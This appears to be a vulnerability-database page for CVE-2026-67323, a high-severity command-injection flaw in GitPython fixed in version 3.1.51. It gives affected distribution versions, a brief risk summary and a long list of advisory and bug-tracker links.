All versions, plus listed versions 0.3.2~RC1-20.3.2~RC1-30.3.2~RC1-3ubuntu0.1~esm10.3.2~RC1-3ubuntu0.1~esm20.3.2~RC1-3ubuntu0.1~esm3 |
None known |
python-gitUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 1.0.1+git137-gc8b8379-11.0.1+git137-gc8b8379-21.0.1+git137-gc8b8379-2.11.0.1+git137-gc8b8379-2.1ubuntu0.1~esm11.0.1+git137-gc8b8379-2.1ubuntu0.1~esm21.0.1+git137-gc8b8379-2.1ubuntu0.1~esm4 |
None known |
python-gitUbuntu:Pro:18.04:LTS |
All versions, plus listed versions 2.1.5-12.1.6-12.1.7-12.1.8-12.1.8-1ubuntu0.1~esm12.1.8-1ubuntu0.1~esm22.1.8-1ubuntu0.1~esm4 |
None known |
python-gitUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 2.1.11-13.0.4-13.0.5-13.0.7-13.0.7-1ubuntu0.1~esm13.0.7-1ubuntu0.1~esm23.0.7-1ubuntu0.1~esm4 |
None known |
python-gitUbuntu:Pro:22.04:LTS |
All versions, plus listed versions 3.1.14-13.1.23-13.1.24-13.1.24-1ubuntu0.1~esm13.1.24-1ubuntu0.1~esm23.1.24-1ubuntu0.1~esm3 |
None known |
python-gitUbuntu:Pro:24.04:LTS |
All versions, plus listed versions 3.1.30-13.1.37-13.1.37-33.1.37-3ubuntu0.1~esm2 |
None known |
python-gitUbuntu:26.10 |
All versions, plus listed versions 3.1.46-13.1.50-13.1.61-1 |
None known |
python-gitUbuntu:Pro:26.04:LTS |
All versions, plus listed versions 3.1.44-13.1.45-13.1.46-13.1.46-1ubuntu0.1~esm1 |
None known |
python-GitPythonopenSUSE:Leap 16.0 From an advisory covering 26 CVEs |
before 3.1.44-160000.4.1 | 3.1.44-160000.4.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-67323 is a high vulnerability (CVSS 8.6) in Gitpython-developers Gitpython, published July 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.25%, the 69th percentile. Fixed in gitpython 3.1.51.
References
github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v
vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options
nvd.nist.gov/vuln/detail/CVE-2026-67323
github.com/advisories/GHSA-4vpg-pfj8-m33q
github.com/gitpython-developers/GitPython/pull/2163
github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738
Show 194 moreShow less
github.com/gitpython-developers/GitPython/releases/tag/3.1.51
github.com/advisories/GHSA-956x-8gvw-wg5v
github.com/CVEProject/cvelistV5/tree/main/cves/2026/67xxx/CVE-2026-67323.json
security-tracker.debian.org/tracker/CVE-2026-67323
github.com/gitpython-developers/GitPython
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3249
nvd.nist.gov/vuln/detail/CVE-2026-67322
nvd.nist.gov/vuln/detail/CVE-2026-67324
nvd.nist.gov/vuln/detail/CVE-2026-67325
nvd.nist.gov/vuln/detail/CVE-2026-67326
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3250
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3251
pypi.org/project/gitpython
access.redhat.com/errata/RHSA-2026:44416
images.redhat.com
access.redhat.com/security/cve/CVE-2026-67322
access.redhat.com/security/updates/classification
access.redhat.com/security/cve/CVE-2026-67326
access.redhat.com/security/cve/CVE-2026-67323
access.redhat.com/security/cve/CVE-2026-67325
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_44416.json
bugzilla.redhat.com/show_bug.cgi?id=2510021
cve.org/CVERecord?id=CVE-2026-67322
github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573
vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from
bugzilla.redhat.com/show_bug.cgi?id=2509976
cve.org/CVERecord?id=CVE-2026-67323
bugzilla.redhat.com/show_bug.cgi?id=2509975
cve.org/CVERecord?id=CVE-2026-67325
github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx
vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation
bugzilla.redhat.com/show_bug.cgi?id=2510003
cve.org/CVERecord?id=CVE-2026-67326
github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w
vulncheck.com/advisories/gitpython-before-newline-injection-via-config-writer-section
access.redhat.com/errata/RHSA-2026:45785
access.redhat.com/security/cve/CVE-2026-43823
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_45785.json
bugzilla.redhat.com/show_bug.cgi?id=2506494
cve.org/CVERecord?id=CVE-2026-43823
nvd.nist.gov/vuln/detail/CVE-2026-43823
github.com/apple/swift-crypto/security/advisories/GHSA-8q93-f6xh-4f6f
access.redhat.com/errata/RHSA-2026:45940
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_45940.json
access.redhat.com/errata/RHSA-2026:59135
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5
bugzilla.redhat.com/show_bug.cgi?id=2456187
bugzilla.redhat.com/show_bug.cgi?id=2484099
bugzilla.redhat.com/show_bug.cgi?id=2486729
bugzilla.redhat.com/show_bug.cgi?id=2487946
bugzilla.redhat.com/show_bug.cgi?id=2500041
bugzilla.redhat.com/show_bug.cgi?id=2510032
bugzilla.redhat.com/show_bug.cgi?id=2510825
bugzilla.redhat.com/show_bug.cgi?id=2510831
bugzilla.redhat.com/show_bug.cgi?id=2511095
bugzilla.redhat.com/show_bug.cgi?id=2511900
bugzilla.redhat.com/show_bug.cgi?id=2511901
bugzilla.redhat.com/show_bug.cgi?id=2511902
bugzilla.redhat.com/show_bug.cgi?id=2515261
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_59135.json
access.redhat.com/security/cve/CVE-2026-15307
cve.org/CVERecord?id=CVE-2026-15307
nvd.nist.gov/vuln/detail/CVE-2026-15307
docs.djangoproject.com/en/dev/releases/security
github.com/django/django/commit/115ffd0463a765ab1cc93de18e94b5459b8a300e
github.com/django/django/commit/208f80cb682868b584ed0a78f23e4ba6304212aa
github.com/django/django/commit/39b3e2d0c743a338def6c473086ebc06865e86b6
github.com/django/django/commit/f1949c1f9758947ade984c895ff16bef46f56520
groups.google.com/g/django-announce
djangoproject.com/weblog/2026/aug/04/security-releases
access.redhat.com/security/cve/CVE-2026-34993
cve.org/CVERecord?id=CVE-2026-34993
nvd.nist.gov/vuln/detail/CVE-2026-34993
github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00
github.com/aio-libs/aiohttp/security/advisories/GHSA-jg22-mg44-37j8
access.redhat.com/security/cve/CVE-2026-39373
cve.org/CVERecord?id=CVE-2026-39373
nvd.nist.gov/vuln/detail/CVE-2026-39373
github.com/latchset/jwcrypto/security/advisories/GHSA-fjrm-76x2-c4q4
access.redhat.com/security/cve/CVE-2026-44705
cve.org/CVERecord?id=CVE-2026-44705
nvd.nist.gov/vuln/detail/CVE-2026-44705
github.com/raszi/node-tmp/security/advisories/GHSA-ph9p-34f9-6g65
access.redhat.com/security/cve/CVE-2026-52902
cve.org/CVERecord?id=CVE-2026-52902
nvd.nist.gov/vuln/detail/CVE-2026-52902
access.redhat.com/security/cve/CVE-2026-59886
cve.org/CVERecord?id=CVE-2026-59886
nvd.nist.gov/vuln/detail/CVE-2026-59886
github.com/pyasn1/pyasn1/commit/e60c691cb91addb8fcefa2f537e85ede6fb1e886
access.redhat.com/security/cve/CVE-2026-67324
cve.org/CVERecord?id=CVE-2026-67324
vulncheck.com/advisories/gitpython-authentication-bypass-via-joined-short-options
access.redhat.com/security/cve/CVE-2026-69243
cve.org/CVERecord?id=CVE-2026-69243
nvd.nist.gov/vuln/detail/CVE-2026-69243
access.redhat.com/security/cve/CVE-2026-69244
cve.org/CVERecord?id=CVE-2026-69244
nvd.nist.gov/vuln/detail/CVE-2026-69244
access.redhat.com/security/cve/CVE-2026-71364
cve.org/CVERecord?id=CVE-2026-71364
nvd.nist.gov/vuln/detail/CVE-2026-71364
cve.org/CVERecord?id=CVE-2026-71365
nvd.nist.gov/vuln/detail/CVE-2026-71365
cve.org/CVERecord?id=CVE-2026-71366
nvd.nist.gov/vuln/detail/CVE-2026-71366
cve.org/CVERecord?id=CVE-2026-73620
nvd.nist.gov/vuln/detail/CVE-2026-73620
vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-and-read
bugzilla.redhat.com/show_bug.cgi?id=2523215
cve.org/CVERecord?id=CVE-2026-78677
nvd.nist.gov/vuln/detail/CVE-2026-78677
vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir
bugzilla.redhat.com/show_bug.cgi?id=2523205
cve.org/CVERecord?id=CVE-2026-78679
nvd.nist.gov/vuln/detail/CVE-2026-78679
vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6/whats_new-async_updates
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_59136.json
cwe.mitre.org/data/definitions/93.html
html.spec.whatwg.org/multipage/form-control-infrastructure.html
npmjs.com/package/form-data
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_71113.json
go.dev/cl/814980
go.dev/issue/80405
groups.google.com/g/golang-announce/c/94pEornpRlI
pkg.go.dev/vuln/GO-2026-5972
go.dev/cl/774481
go.dev/issue/79217
groups.google.com/g/golang-announce/c/tKs3rmcBcKw
pkg.go.dev/vuln/GO-2026-5038
go.dev/cl/795540
go.dev/issue/80205
pkg.go.dev/vuln/GO-2026-6089
go.dev/cl/807100
go.dev/issue/80435
pkg.go.dev/vuln/GO-2026-6091
go.dev/cl/803320
go.dev/issue/80481
pkg.go.dev/vuln/GO-2026-6088
go.dev/cl/803681
go.dev/issue/80494
pkg.go.dev/vuln/GO-2026-6218
go.dev/cl/804261
go.dev/issue/80528
pkg.go.dev/vuln/GO-2026-6090
vulncheck.com/advisories/nanoid-before-infinite-loop-via-negative-size-in-non-secure-module
vulncheck.com/advisories/dompurify-before-cross-site-scripting-via-in-place-hook
vulncheck.com/advisories/gitpython-before-3.1.60-remote-code-execution-via-git-directory-impersonation
vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_71114.json
suse.com/support/update/announcement/2026/suse-su-20264072-1
bugzilla.suse.com/1264604
bugzilla.suse.com/1264605
bugzilla.suse.com/1264606
bugzilla.suse.com/1264608
bugzilla.suse.com/1273357
bugzilla.suse.com/1273358
bugzilla.suse.com/1273359
bugzilla.suse.com/1273364
bugzilla.suse.com/1273414
bugzilla.suse.com/1273498
bugzilla.suse.com/1275745
bugzilla.suse.com/1275746
bugzilla.suse.com/1275747
bugzilla.suse.com/1275748
bugzilla.suse.com/1275749
bugzilla.suse.com/1275750
bugzilla.suse.com/1275751
bugzilla.suse.com/1275752
bugzilla.suse.com/1275753
bugzilla.suse.com/1275754
suse.com/security/cve/CVE-2026-42215
suse.com/security/cve/CVE-2026-42284
suse.com/security/cve/CVE-2026-44243
suse.com/security/cve/CVE-2026-44244
suse.com/security/cve/CVE-2026-67322
suse.com/security/cve/CVE-2026-67323
suse.com/security/cve/CVE-2026-67325
suse.com/security/cve/CVE-2026-67326
suse.com/security/cve/CVE-2026-69097
suse.com/security/cve/CVE-2026-73619
suse.com/security/cve/CVE-2026-73620
suse.com/security/cve/CVE-2026-73621
suse.com/security/cve/CVE-2026-73622
suse.com/security/cve/CVE-2026-73623
suse.com/security/cve/CVE-2026-73624
suse.com/security/cve/CVE-2026-73625
suse.com/security/cve/CVE-2026-76217
suse.com/security/cve/CVE-2026-76218
suse.com/security/cve/CVE-2026-76219
ubuntu.com/security/CVE-2026-67323
Left out here: 53 versions, 330 references and the rest of 2 source descriptions. The JSON record has them.